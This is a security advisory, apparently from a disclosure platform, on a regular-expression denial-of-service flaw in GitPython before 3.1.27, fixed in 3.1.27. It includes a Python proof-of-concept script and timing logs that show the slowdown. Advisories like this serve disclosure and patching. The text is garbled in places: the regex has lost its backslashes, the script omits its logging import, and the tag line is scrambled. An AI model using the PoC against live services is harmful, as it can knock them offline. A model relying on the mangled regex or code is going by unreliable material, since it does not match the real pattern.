ReDoS vulnerability in GitPython

4.2 Medium Severity Denial expression pypi python redos regular Service

@theworstcomrade Reported by Checkmarx Zero

Summary

ReDoS vulnerability in GitPython.

Product

GitPython prior to 3.1.27.

Impact

This issues may lead to a denial of service if user controls input passed to pattern matching function.

Steps to reproduce

PoC based on code in git/remote.py

import re

logging.basicConfig(format='%(asctime)s - %(levelname)s: %(message)s',
                    level=logging.DEBUG)

pattern = re.compile(r'^s*(.) ([?[ws.$@]+]?)s+(.+) -> ([^s]+)(    (.*)?$)?')

for i in range(1, 10000):
    s = ' ' * i * 100 + '->'
    logging.debug('Started with {} spaces'.format(i * 100))
    pattern.match(s)
    logging.debug('Finished with {} spaces'.format(i * 100))

Expected result:

Output:

2022-02-10 21:05:36,326 - DEBUG: Finished with 100 spaces
2022-02-10 21:05:36,326 - DEBUG: Started with 200 spaces
2022-02-10 21:05:38,765 - DEBUG: Finished with 200 spaces
2022-02-10 21:05:38,765 - DEBUG: Started with 300 spaces
2022-02-10 21:05:50,383 - DEBUG: Finished with 300 spaces
2022-02-10 21:05:50,383 - DEBUG: Started with 400 spaces
2022-02-10 21:06:22,743 - DEBUG: Finished with 400 spaces
2022-02-10 21:06:22,743 - DEBUG: Started with 500 spaces
2022-02-10 21:07:41,996 - DEBUG: Finished with 500 spaces
2022-02-10 21:07:41,997 - DEBUG: Started with 600 spaces
2022-02-10 21:10:23,773 - DEBUG: Finished with 600 spaces
2022-02-10 21:10:23,774 - DEBUG: Started with 700 spaces
2022-02-10 21:15:21,380 - DEBUG: Finished with 700 spaces
2022-02-10 21:15:21,380 - DEBUG: Started with 800 spaces
2022-02-10 21:23:46,983 - DEBUG: Finished with 800 spaces

Remediation

Update GitPython to version 3.1.27.

Credit

This issue was reported by @theworstcomrade through huntr.dev.

Resources

Explore more findings